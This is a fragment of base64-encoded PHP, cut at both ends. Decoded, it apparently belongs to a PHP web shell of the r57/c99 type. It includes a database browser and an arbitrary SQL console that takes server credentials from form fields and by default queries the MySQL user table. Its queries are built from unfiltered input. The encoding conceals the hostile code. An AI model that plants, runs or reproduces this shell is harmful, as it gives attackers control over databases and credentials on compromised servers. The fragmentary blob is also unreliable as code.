k7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD48dGQgIGFsaWduPSdjZW50 ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJH
ZhPSLj080gzM/m4SAkdGJfbmFtZXNbJGldIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg Z290bygkdGJfbmFtZXNbJGldLCAkX1NFU1NJT05bJ2RibmFtZSddLCRhY3Rpb24sICdkZWwnLCAnZGVsdG FibGUnLCAkdmEgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RkPjx0ZCAg YWxpZ249J2NlbnRlcicgdmFsaWduPSdtaWRkbGUnPlxuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAkdmE9IkFsdGVyIFRhYmxlICR0Yl9uYW1lc1skaV0iOw0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBnb3RvKCR0Yl9uYW1lc1skaV0sICRfU0VTU0lPTlsnZGJuYW1lJ10sJ2FsdGVyLn BocCcsICdidXQnLCAnYWx0ZXJ0YWJsZScsICR2YSApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICBlY2hvIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInIHZhbGlnbj0nbWlkZGxlJz5cbiI7DQoNCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNodGFibGVmb3JtKCR0Yl9uYW1lc1skaV0sICRf U0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdG Q+PHRkPiI7DQogICAgICAgICAgICAgICAgLy9UYWJsZSBzaXplIGluIGJ5dGVzDQogICAgICAgICAgICAg ICBlY2hvIG15c2l6ZSgkX1NFU1NJT05bJ2RibmFtZSddLCR0Yl9uYW1lc1skaV0pOw0KDQogICAgICAgIC AgICAgICAgZWNobyI8L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfS8vZm9yDQog ICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGFibGU+XG4iOw0KICAgICAgICAgICAgICAgIH0NCg 0KICAgICAgICB9ZWxzZXsgLy90YWJsZW5hbWUgaXMgc2V0DQovLyoqKioqKioqKioqKioqKioqIG1lbnUg KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICBlY2 hvIjx0YWJsZT48dHIgY2xhc3M9J2Zyb3cnPjx0ZD5cbiI7DQogICAgICAgICAgICAgICAgJHZhbHVlPSIk X1NFU1NJT05bZGJuYW1lXSBTdGFydCI7IC8vRXggVGFibGUgTWFuYWdlciBTdGFydA0KICAgICAgICAgIC AgICAgIGdvdG8oJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSwgJGFjdGlvbiwgJ2J1dCcsICd0 YWJsZXN0YXJ0JywgJHZhbHVlICk7DQogICAgICAgICAgICAgICAgZWNobyI8L3RkPlxuIjsNCg0KICAgIC AgICBlY2hvIjx0ZD5cbiI7DQogICAgICAgICR2YWx1ZT0ix+Hmx8zl5SDH4dHG7dPt5SI7IC8vQ2hvb3Nl IERCDQogICAgICAgICAgICAgICAgZ290bygiIiwgIiIsICRhY3Rpb24sICdidXQnLCAnc3RhcnQnLCAkdm FsdWUgKTsNCiAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgIGVjaG8iPHRkPlxu IjsNCiAgICAgICAgJHZhbHVlPSJXcml0ZSBZb3VyIE93biBRdWVyeSI7DQogICAgICAgICAgICAgICAgZ2 90bygiICIsICRfU0VTU0lPTlsnZGJuYW1lJ10sICRhY3Rpb24sICdidXQnLCAnd3lvcScsICR2YWx1ZSAp Ow0KICAgICAgICBlY2hvIjwvdGQ+XG4iOw0KDQogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1 RbJ2FkZCddKSAmJiAhaXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSAmJiBpc3NldCgkdGFibGVuYW1lKSl7 DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjx0ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgIC AgLy8kdGFibGVuYW1lID0gJF9QT1NUWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAg ICR2YT0iQWRkIGEgJHRhYmxlbmFtZSBSZWNvcmQiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZ290by gkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAnYWx0ZXIucGhwJywgJ2J1dCcsICdhZGQnLCAk dmEgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPC90ZD5cbiI7DQogICAgICAgICAgICAgIC AgfQ0KDQogICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkX1BPU1RbJ2RlbHRhYmxlJ10pKXsNCiAgICAg ICAgICAgICAgICAgICAgICAgIGVjaG8iPHRkPlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlYX JjaHRhYmxlZm9ybSgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddKTsNCiAgICAgICAgICAgICAg ICAgICAgICAgIGVjaG8iPC90ZD5cbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIG VjaG8iPC90cj48L3RhYmxlPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjxiciAvPlxuIjsNCg0KLy8q KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KDQogICAgICAgIC AgICAgICAgaWYoaXNzZXQoJF9QT1NUWydhZGRyZWMnXSkpew0KICAgICAgICAgICAvLyAkc2hvd2FsbD1m YWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQ9YWRkcmVjb3JkKCR0YWJsZW5hbWUsIC RfU0VTU0lPTlsnZGJuYW1lJ10sICRfUE9TVFsnYXJyYXknXSk7DQogICAgICAgICAgICAgICAgfWVsc2Vp Zihpc3NldCgkX1BPU1RbJ2FkZCddKSl7DQogICAgICAgICAgICAkc2hvd2FsbD1mYWxzZTsNCiAgICAgIC AgICAgICAgICAgICAgICAgIGFkZGZvcm0oJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSk7DQog ICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2RlbGV0ZSddKSl7DQogICAgICAgICAgIC AgICAgICAgICAgICAvL2RlbGV0ZSByZWNvcmQgaGFzIGJlZW4gcHVzaGVkDQogICAgICAgICAgIC8vICRz aG93YWxsPWZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHdocj1idWlsZHdocigkX1BPU1RbJ3 BrJ10sICRfUE9TVFsncHYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gImRlbGV0ZSBm cm9tICR0YWJsZW5hbWUgd2hlcmUgJHdociI7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0PW V4ZXF1ZXJ5KCRzcWwsICR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAg ICAgIH1lbHNlaWYgKGlzc2V0KCRfUE9TVFsnZWRpdCddKSl7Ly9FZGl0DQogICAgICAgICAgICAkc2hvd2 FsbD1mYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR3aHIgPSBidWlsZHdociggJF9QT1NUWydw ayddLCAkX1BPU1RbJ3B2J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgLy8kdGFibGVuYW1lID0gJF 9TRVNTSU9OWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWw9ICJTZWxlY3Qg KiBmcm9tICR0YWJsZW5hbWUgd2hlcmUgJHdociI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZX N1bHQ9ZXhlcXVlcnkoJHNxbCwgJHRhYmxlbmFtZSwgJF9TRVNTSU9OWydkYm5hbWUnXSk7DQogICAgICAg ICAgICAgICAgICAgICAgICBlZGl0Zm9ybSgkdGFibGVuYW1lLCAkX1NFU1NJT05bJ2RibmFtZSddLCAkcm VzdWx0LCAnZWRpdCcsICRfUE9TVFsncGsnXSwgJF9QT1NUWydwdiddKTsNCiAgICAgICAgICAgICAgICB9 ZWxzZWlmKGlzc2V0KCRfUE9TVFsnZWRpdHJlYyddKSl7DQogICAgICAgICAgIC8vICRzaG93YWxsPWZhbH
NlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1lZGl0cmVjKCRfU0VTU0lPTlsnZGJuYW1l J10sJHRhYmxlbmFtZSwgJF9QT1NUWydwayddLCAkX1BPU1RbJ3B2J10sICRfUE9TVFsnYXJyYXknXSk7DQ ogICAgICAgICAgICAgICAgfQ0KLy8qKioqKioqKioqKioqKioqIFNlYXJjaCAqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioNCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NlYXJjaH ZhbCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkc2VhcmNodmFsPSRfUE9TVFsnc2VhcmNodmFs J107DQogICAgICAgICAgICAgICAgfWVsc2VpZihpc3NldCgkX0dFVFsnc2VhcmNodmFsJ10pKXsNCiAgIC AgICAgICAgICAgICAgICAgICAgICRzZWFyY2h2YWw9JF9HRVRbJ3NlYXJjaHZhbCddOw0KICAgICAgICAg ICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaHZhbD0iIjsNCiAgICAgIC AgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3RhYmxlbmFtZSddKSl7 DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFibGVuYW1lID0gJF9HRVRbJ3RhYmxlbmFtZSddOw0KIC AgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmKChpc3NldCgkX1BPU1RbJ3NlYXJjaCdd KXx8IGlzc2V0KCRzZWFyY2h2YWwpKSAmJiAkc2VhcmNodmFsICE9IiIpew0KICAgICAgICAgICAgICAgIC AgICAgICAgJHJlc3VsdD1zZWFyY2h0KCR0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10sICAkc2Vh cmNodmFsKTsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIC8vRG lzcGxheSBBbGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tICR0 YWJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdD1leGVxdWVyeSgkcXVlcnksIC R0YWJsZW5hbWUsICRfU0VTU0lPTlsnZGJuYW1lJ10pOw0KICAgICAgICAgICAgICAgIH0NCg0KLy8qKioq KioqKioqKioqKioqKiBEaXNwbGF5IHJlY29yZCBjb3VudCAqKioqKioqKioqKioqKioqKioqKioqKioqKi oqKioqKioqKioqKioqKg0KICAgICAgICBpZigkc2hvd2FsbCl7DQogICAgICAgICAgICAkbnVtX3Jvd3Mg PSBteXNxbF9udW1fcm93cygkcmVzdWx0KTsNCiAgICAgICAgICAgIC8vV29ya291dCB3aGljayBwYWdlIH RvIGRpc3BsYXkNCiAgICAgICAgICAgICAgICAgICAgaWYoIWlzc2V0KCRfR0VUWydwZyddKSAmJiAhaXNz ZXQoJHBnKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJlZz0wOw0KICAgICAgICAgICAgIC AgICRwZz0wOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBpZihpc3Nl dCgkX0dFVFsncGJhY2snXSkpew0KICAgICAgICAgICAgICAgICAgICAkcGc9JF9HRVRbJ3BnJ107DQogIC AgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICRwZz0kX0dFVFsncGcnXTsNCiAg ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgIGlmKCRwZyA8IDAgKXsNCiAgICAgICAgICAgIC AgICAgICAgJHBnPTA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmKCRwZyA+ICRu dW1fcm93cy8kcGFnZW1heCl7DQogICAgICAgICAgICAgICAgICAgICRwZz1jZWlsKCRudW1fcm93cy8kcG FnZW1heCktMTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGJlZyA9ICRwZyAqICRw YWdlbWF4Ow0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3 NldCgkX1BPU1RbJ2FkZCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBzY3JvbD0iICI7 DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCA9IiAiOw0KDQogICAgICAgICAgIC AgICAgICAgICAgICAgICAgJHBhZ2VzY3JvbCA9IHdoaWNocGFnZSgkbnVtX3Jvd3MsICRwYWdlbWF4LCAk cGcsICR0YWJsZW5hbWUsICRzZWFyY2h2YWwpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZW NobyAiJHBhZ2VzY3JvbFxuIjsgLy9EaXNwbGF5IG5leHQgVG9wIHBhZ2UgbWVudQ0KDQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgJGZsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz5cbiI7DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHIgY2xhc3M9aGVhZD48dGQ+PC90ZD48dGQ+PC 90ZD5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IG15c3FsX2xpc3RfZmll bGRzKCAkX1NFU1NJT05bJ2RibmFtZSddLCAkdGFibGVuYW1lKTsNCg0KICAgICAgICAgICAgICAgICAgIC AgICAgICAgICR6PTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHggPTA7DQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgJHBrZmllbGQ9YXJyYXkoKTsNCg0KLy8qKioqKioqKioqKioqRGlzcGxheS BlYWNoIG9mIHRoZSBmaWVsZCBuYW1lcy4qKioqKioqKioqKioqKioqKioqKioqKioqKioNCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmxkczsgJGkrKykgew0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4iLm15c3FsX2ZpZWxkX25hbWUo JGZpZWxkcywgJGkpLiI8L3RkPlxuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgLy9GaW5kIHRoZSBwcmltYXJ5IGtleQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg JGZsYWdzdHJpbmcgPSBteXNxbF9maWVsZF9mbGFncyAoJHJlc3VsdCwgJGkpOw0KICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgaWYoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGtbJHpdID0gJGk7DQoNCiAgIC AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGRbJHpdPSBteXNxbF9m aWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgJHorKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8L3RyPl xuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsPSR0YWJsZW5hbWU7DQogICAgICA gICAgICAgICAgICAgICAgICAgICAgLy9pZihpc3NldCgkcGspKXsNCiAgICAgICAgICAgICAgICAgICAgI CAgICAgICBpZigkeiA+IDApew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNwaz1 jb3VudCgkcGspOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgI
CAgICAgICAgICAgICAgICAgICAgICAgJGNwaz0wOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0 NCg0KLy8qKioqKioqKioqKipEaXNwbGF5IGVhY2ggcm93IGZyb20gdGhlIHRhYmxlLioqKioqKioqKioqK ioqKioqKioqKioqKioqKioqKioqDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRzPSR iZWc7ICRzIDwgJGJlZyArICRwYWdlbWF4OyAkcysrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgIGlmKCRzIDwgJG51bV9yb3dzKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgaWYgKCFteXNxbF9kYXRhX3NlZWsgKCRyZXN1bHQsICRzKSkgew0KICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbm5vdCBzZWVrIHRvIHJvdyAkc1xuIjs NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCiAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIWlzc2V0KCRwaykpew0KICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwaz0iICI7DQogICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBrZmllbGQ9IGFycmF5KCk7DQogICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheXJvdygkX1NFU1NJT05bJ2RibmFtZSddLCAkdGJ sLCAkcGssICRwa2ZpZWxkLCAkY3BrLCAkcm93LCAkZmxkcyk7DQogICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICA gICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8iPC90YWJsZT5cbiI7DQogICAgICAgICAgICAgI CAgICAgIGlmICghaXNzZXQoJF9QT1NUWydhZGQnXSkgJiYgIWlzc2V0KCRfUE9TVFsnZWRpdCddKSAmJiA haXNzZXQoJF9QT1NUWydkZWx0YWJsZSddKSAmJiAhaXNzZXQoJF9QT1NUWydkcm9wdGFiJ10pICYmICFpc 3NldCgkX1BPU1RbJ3d5b3EnXSkgJiYgJHRhYmxlbmFtZSl7DQogICAgICAgICAgICAgICAgICAgICAgICA gICAgZWNobyI8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkcGFnZXNjcm9sX G4iOyAvL0Rpc3BsYXkgYm90dG9tIG5leHQgcGFnZSBtZW51DQogICAgICAgICAgICAgICAgICAgIH0NCiA gICAgICAgICAgICAgICAgICAgZWNobyI8YnI+PGJyPlxuIjsNCiAgICAgICAgICAgICAgICAgfS8vc2hvd 2FsbA0KICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3RhYmxlbmFtZSddKSl7DQogICAgICA gICAgICAgICAgICAgICAgICAgZWNobyI8dGFibGUgYm9yZGVyPTA+IjsNCiAgICAgICAgICAgICAgICAgI CAgIGVjaG8iPHRyPjx0ZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZW5hbWU9JF9QT1N UWyd0YWJsZW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkdmE9IkFsdGVyIFRhYmxlICR0Y WJsZW5hbWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oICR0YWJsZW5hbWUsICAkX1NFU1N JT05bJ2RibmFtZSddLCdhbHRlci5waHAnLCAnYnV0JywgJ2FsdGVydGFibGUnLCAkdmEgKTsNCiAgICAgI CAgICAgICAgICAgICAgICAgICBlY2hvIjwvdGQ+PC90cj5cbiI7DQogICAgICAgICAgICAgICAgICAgICA gICAgZWNobyI8L3RhYmxlPlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCn0NCmRpc3BsY XlfZm9vdCgpOw0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU 9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9ud D48L2Rpdj4iOyAgZGllKCk7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2N tZCddPT0iZGJfcXVlcnkiKQ0KIHsNCiBlY2hvICRoZWFkOw0KICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogJ HNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTs NCiAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzc WxfbCddOw0KICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsNCiAkc3FsLT5iYXNlID0gJF9QT1N UWydteXNxbF9kYiddOw0KICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsNC iBlY2hvICc8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI 8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DYW4nd CBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UNCiAgIHsNCiAgIGl mKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlb nRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPXJlZD48Yj7h4yDt08rY7dogys3P7c8g3sf az+Ugx+HI7cfkx8o8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJ HF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigkcXVlcnkpPjUpDQo gICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiP lF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjw vZm9udD48YnI+IjsNCiAgICAgIHN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQ0KICAgICAgIHsNCiAgI CAgICBjYXNlICcwJzoNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZ hY2U9dGFob21hIHNpemU9LTI+RXJyb3IgOiA8Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvdGQ+P C90cj48L3RhYmxlPiI7DQogICAgICAgYnJlYWs7DQogICAgICAgY2FzZSAnMSc6DQogICAgICAgaWYoJHN xbC0+Z2V0X3Jlc3VsdCgpKQ0KICAgICAgICB7DQogICAgICAgICAgICAgICBlY2hvICI8dGFibGUgd2lkd Gg9MTAwJT4iOw0KICAgICAgICBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x 1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7DQogICAgICAgICAgICAgICAka 2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9 udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOw0KICAgICAgICBlY
2hvICI8dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiZuYnN wOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGZvcigkaT0wOyRpP CRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3N bJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfU VVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjx mb250IGZhY2U9dGFob21hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY 2hvICc8dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs 8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgI CAgICAgfQ0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmF mZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8d GFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+YWZmZWN0ZWQgcm9 3cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgIGJyZ WFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgIH0NCiBlY2hvICI8YnI+PGZvcm0 gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkY iddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7DQo gZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7DQogZWNobyBpbigna GlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXl zcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJ F9QT1NUWydteXNxbF9kYiddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX3F1ZXJ5Jyk7DQo gZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCiBlY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yP jxiPkJhc2U6IDwvYj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXlzcWxfZGIgdmFsdWU9XCIiLiRzcWwtPmJ hc2UuIlwiPjwvZm9udD48YnI+IjsNCiBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9Z GJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJ TSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1d CB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj4 8YnI+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZ mFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s 8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOw0KIH0NCmlmKGlzc2V0KCRfR0VUWydkZWxldGUnX 